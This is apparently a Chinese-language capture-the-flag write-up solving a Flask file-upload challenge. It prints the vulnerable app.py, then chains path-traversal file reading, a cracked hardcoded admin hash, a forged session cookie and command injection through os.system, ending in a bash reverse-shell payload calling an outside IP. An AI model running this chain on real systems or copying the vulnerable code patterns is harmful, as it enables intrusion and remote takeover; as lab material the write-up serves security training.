
直接登录

发现file_path传参
有文件读取漏洞
1
| http://8.154.22.32:20089/upload?file_path=../app.py
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146
| import uuid import os import hashlib import base64 from flask import Flask, request, redirect, url_for, flash, session, get_flashed_messages import socket app = Flask(__name__) app.secret_key = os.getenv('SECRET_KEY')
STYLE = """ <style> body { background: #1a1a2e; color: #eee; font-family: system-ui; display: flex; justify-content: center; align-items: center; min-height: 100vh; margin: 0; } .container { background: #16213e; padding: 40px; border-radius: 12px; width: 360px; } h2 { text-align: center; color: #0ea5e9; margin-bottom: 24px; } .alert { padding: 10px; border-radius: 6px; margin-bottom: 16px; text-align: center; font-size: 14px; } .alert-error { background: rgba(239,68,68,0.2); color: #fca5a5; } .alert-warn { background: rgba(234,179,8,0.2); color: #fde047; } .alert-success { background: rgba(34,197,94,0.2); color: #86efac; } input { width: 100%; padding: 12px; margin: 8px 0; border: 1px solid #334; background: #0f172a; color: #fff; border-radius: 6px; box-sizing: border-box; } button { width: 100%; padding: 12px; background: #0ea5e9; color: #fff; border: none; border-radius: 6px; cursor: pointer; margin-top: 12px; } button:hover { background: #0284c7; } .upload-zone { border: 2px dashed #334; padding: 24px; text-align: center; border-radius: 8px; cursor: pointer; margin-bottom: 16px; color: #94a3b8; } .upload-zone:hover { border-color: #0ea5e9; } input[type="file"] { display: none; } .file-name { font-size: 12px; color: #64748b; text-align: center; margin-bottom: 12px; } </style> """
@app.route('/') def index(): if session.get('username'): return redirect(url_for('upload')) return redirect(url_for('login'))
@app.route('/login', methods=['POST', 'GET']) def login(): if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') if username == 'admin': if hashlib.sha256(password.encode()).hexdigest() == '4303b04d1fa1a690f2d1db1ca2c7808cae3b8f1c1835894f35743f2805af8fe3': session['username'] = username return redirect(url_for('upload')) flash('Auth failed') else: session['username'] = username return redirect(url_for('upload')) error_msg = get_flashed_messages() error_html = f'<div class="alert alert-error">{error_msg[0]}</div>' if error_msg else '' return f''' <!DOCTYPE html><html><head><title>Login</title>{STYLE}</head><body> <div class="container"> <h2>Login</h2> {error_html} <form method="post"> <input type="text" name="username" placeholder="Username" required autofocus> <input type="password" name="password" placeholder="Password" required> <button type="submit">登录</button> </form> </div> </body></html> '''
@app.route('/logout') def logout(): session.pop('username', None) return redirect(url_for('login'))
@app.route('/upload', methods=['POST', 'GET']) def upload(): if not session.get('username'): return redirect(url_for('login')) if request.method == 'POST': f = request.files['file'] fname = str(uuid.uuid4()) + '_' + f.filename f.save('./uploads/' + fname) return redirect(f'/upload?file_path={fname}') fp = request.args.get('file_path') if not fp: return f''' <!DOCTYPE html><html><head><title>Upload</title>{STYLE}</head><body> <div class="container"> <h2>File Upload</h2> <form method="post" enctype="multipart/form-data"> <div class="upload-zone" id="dropZone"> <div style="font-size: 30px; margin-bottom: 10px;">+</div> Click </div> <input type="file" name="file" id="fileInput" required> <div class="file-name" id="fileName"></div> <button type="submit">Upload File</button> </form> <a href="/logout" style="display:block;text-align:center;margin-top:12px;color:#94a3b8;">退出登录</a> </div> <script> document.getElementById('dropZone').onclick = () => document.getElementById('fileInput').click(); document.getElementById('fileInput').onchange = function() {{ document.getElementById('fileName').innerText = this.files[0].name; }}; </script> </body></html> ''' target = './uploads/' + fp if session.get('username') != 'admin': try: with open(target, 'rb') as f: b64_data = base64.b64encode(f.read()).decode() return f''' <!DOCTYPE html><html><head><title> </title>{STYLE}</head><body> <div class="container" style="max-width: 800px;"> <h2> </h2> <div class="preview-box"> <img src="data:image/png;base64,{b64_data}" /> </div> </div> </body></html> ''' except: return f''' <!DOCTYPE html><html><head><title>Error</title>{STYLE}</head><body> <div class="container"> <div class="alert alert-error">文件不存在</div> </div> </body></html> ''' else: os.system(f'base64 {target} > /tmp/{target}.b64') return f''' <!DOCTYPE html><html><head><title>Success</title>{STYLE}</head><body> <div class="container"> <div class="alert alert-success">文件上传成功</div> </div> </body></html> ''' if __name__ == '__main__': socket.getfqdn = lambda name='': 'localhost' app.run(host='0.0.0.0', port=80)
|
admin密码硬编码用hashcat解吗
1
| 4303b04d1fa1a690f2d1db1ca2c7808cae3b8f1c1835894f35743f2805af8fe3:usccsu
|
target直接被拼接了,后面放system执行可以rce
1
| target = './uploads/' + fp
|
但是session中的username要等于admin, flask-session-cookie-manager-master生成一下,替换session
1
| eyJ1c2VybmFtZSI6ImFkbWluIn0.af_5bA.WUv9hLNVAGtxWSklXe1e0Yje_fY
|
反弹shell,要url编码
1
| /upload?file_path=a;bash -c 'bash -i >& /dev/tcp/101.37.210.236/2333 0>&1';
|
